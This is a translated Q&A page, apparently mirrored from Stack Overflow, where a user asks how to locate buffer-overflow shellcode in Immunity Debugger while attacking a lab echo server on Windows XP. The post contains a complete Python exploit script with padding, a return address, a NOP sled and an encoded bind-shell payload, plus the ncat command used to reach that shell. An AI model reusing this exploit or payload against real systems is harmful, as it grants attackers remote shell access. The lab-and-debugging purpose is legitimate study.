繁体   English   中英

汇编:在哪里可以找到缓冲区溢出漏洞的shellcode

[英]assembly : where to find the shellcode of a bufer overflow exploit

在Windows XP计算机上,我使用Immunity Debugger打开“回显服务器” exe,然后运行该程序。 回显服务器在端口10000上运行。

在我的另一台机器上,我运行一个Python脚本(见下文),该脚本执行带有“ windows / shell_bind_tcp”有效负载的缓冲区溢出漏洞利用。 该漏洞利用程序工作正常,这不是问题。

运行脚本后,使用python strcpy.py 192.168.1.123 我没有在Immunity Debugger中看到任何变化。 但是我在转储中发现了这个:

0022FB84  D9 CA D9 74 24 F4 58 31  ÙÊÙt$ôX1
0022FB8C  C9 B1 53 BA 9B B3 0A 02  ɱSº›³.
0022FB94  31 50 17 03 50 17 83 C0  1PPƒÀ
0022FB9C  04 E2 F5 FC E8 82 00 00  âõüè‚..
0022FBA4  00 60 89 E5 31 C0 64 8B  .`‰å1Àd‹

仅从“ D9”到“ 50 17 83”,与下面的shellcode相同。 是因为我看到的是EXECUTED shellcode吗? (而不是原始的)

然后,在单独的终端上,我通过连接到远程计算机来利用漏洞利用: ncat 192.168.1.123 4444

现在,即使我连接到端口4444(而不是10000),我也突然发现Immunity Debugger中有东西移动。 这是因为执行的shellcode的内存驻留在echo服务器程序内部吗?

是否可以在Immunity Debugger中找到完整的原始shellcode(以'\\ xd9 \\ xca \\ xd9 \\ x74'开头,请参见下面的脚本)? 当然,如果shellcode包含错误字符(例如'\\ x00'),我可以轻松找到完整的shellcode,直到出现错误字符为止。

strcpy.py:

#!/usr/bin/env python
import socket, sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #address family, tcp socket
sock.connect((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x7E\x6E\xEF\x77"
buffer += "\x90"*20
buffer +=("\xd9\xca\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xba\x9b\xb3\x0a"
"\x02\x31\x50\x17\x03\x50\x17\x83\x5b\xb7\xe8\xf7\xa7\x50\x6e"
"\xf7\x57\xa1\x0f\x71\xb2\x90\x0f\xe5\xb7\x83\xbf\x6d\x95\x2f"
"\x4b\x23\x0d\xbb\x39\xec\x22\x0c\xf7\xca\x0d\x8d\xa4\x2f\x0c"
"\x0d\xb7\x63\xee\x2c\x78\x76\xef\x69\x65\x7b\xbd\x22\xe1\x2e"
"\x51\x46\xbf\xf2\xda\x14\x51\x73\x3f\xec\x50\x52\xee\x66\x0b"
"\x74\x11\xaa\x27\x3d\x09\xaf\x02\xf7\xa2\x1b\xf8\x06\x62\x52"
"\x01\xa4\x4b\x5a\xf0\xb4\x8c\x5d\xeb\xc2\xe4\x9d\x96\xd4\x33"
"\xdf\x4c\x50\xa7\x47\x06\xc2\x03\x79\xcb\x95\xc0\x75\xa0\xd2"
"\x8e\x99\x37\x36\xa5\xa6\xbc\xb9\x69\x2f\x86\x9d\xad\x6b\x5c"
"\xbf\xf4\xd1\x33\xc0\xe6\xb9\xec\x64\x6d\x57\xf8\x14\x2c\x30"
"\xcd\x14\xce\xc0\x59\x2e\xbd\xf2\xc6\x84\x29\xbf\x8f\x02\xae"
"\xc0\xa5\xf3\x20\x3f\x46\x04\x69\x84\x12\x54\x01\x2d\x1b\x3f"
"\xd1\xd2\xce\xaa\xd9\x75\xa1\xc8\x24\xc5\x11\x4d\x86\xae\x7b"
"\x42\xf9\xcf\x83\x88\x92\x78\x7e\x33\x8d\x24\xf7\xd5\xc7\xc4"
"\x51\x4d\x7f\x27\x86\x46\x18\x58\xec\xfe\x8e\x11\xe6\x39\xb1"
"\xa1\x2c\x6e\x25\x2a\x23\xaa\x54\x2d\x6e\x9a\x01\xba\xe4\x4b"
"\x60\x5a\xf8\x41\x12\xff\x6b\x0e\xe2\x76\x90\x99\xb5\xdf\x66"
"\xd0\x53\xf2\xd1\x4a\x41\x0f\x87\xb5\xc1\xd4\x74\x3b\xc8\x99"
"\xc1\x1f\xda\x67\xc9\x1b\x8e\x37\x9c\xf5\x78\xfe\x76\xb4\xd2"
"\xa8\x25\x1e\xb2\x2d\x06\xa1\xc4\x31\x43\x57\x28\x83\x3a\x2e"
"\x57\x2c\xab\xa6\x20\x50\x4b\x48\xfb\xd0\x7b\x03\xa1\x71\x14"
"\xca\x30\xc0\x79\xed\xef\x07\x84\x6e\x05\xf8\x73\x6e\x6c\xfd"
"\x38\x28\x9d\x8f\x51\xdd\xa1\x3c\x51\xf4")

sock.send(buffer)
print sock.recv(1024)
sock.close()

在strcpy调用上设置断点,并在strcpy返回后检查目标缓冲区。 如果还有更多内容,请遵循recv之后的流程。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM